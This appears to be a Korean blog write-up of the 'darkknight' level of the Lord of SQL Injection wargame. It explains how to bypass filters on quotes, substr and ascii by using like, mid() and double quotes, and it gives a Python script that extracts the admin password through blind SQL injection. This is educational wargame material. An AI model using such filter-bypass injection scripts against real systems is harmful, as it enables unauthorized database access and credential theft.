728x90
반응형
blind sql injection입니다.
prob _ . ()을 입력하면 No Hack ~_~
' substr ascii를 입력하면 HeHe를 보여주는군요...
' 없이 injection이 가능한가?를 고민했던 문제입니다.
그러다 문득 no에는 ''가 씌여있지 않아 함수가 실행가능하지 않을까??? 라는 생각이 떠올랐고 쿼리를 써보았습니다.
length(pw) like 8 을 써봅니다... 결과는 admin이 나오네요... 이로서 id가 admin인 녀석의 pw는 8글자라는 것을 알아냈습니다.
그럼 substr은 안되니 mid로 한글자씩 추출해봅시다.
import requests as req
pwd = ""
cookies = {'PHPSESSID':''}
string = "1234567890abcdefghijklmnopqrstuvwxyz"
for i in range(1, 9):
for j in string:
url = f'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw=1&no=1 or 1 like 1 and id like "admin" and mid(pw,{i},1) like "{j}" -- '
res = req.get(url=url, cookies=cookies)
if 'Hello admin' in res.text:
pwd += j
print(pwd)
코드를 보면 다른 코드와 다른 부분이 있습니다. 혹시 눈치를 채셨나요??
바로 mid(pw, {i}, 1) like "{j}" 입니다.
mid의 실행 결과를 문자열과 비교해야 하는데, 싱글쿼터는 사용이 불가능해서 더블쿼터로 바꿔주었습니다.
그것 뿐입니다.
728x90
반응형
'보안 > 웹' 카테고리의 다른 글
los golem (0) | 2022.03.24 |
---|---|
los orge (0) | 2022.03.24 |
los orc (lord of sqlinjection 4번) (0) | 2022.03.22 |
HTTP Method (0) | 2022.02.01 |
textarea사용하기 (0) | 2015.02.15 |
댓글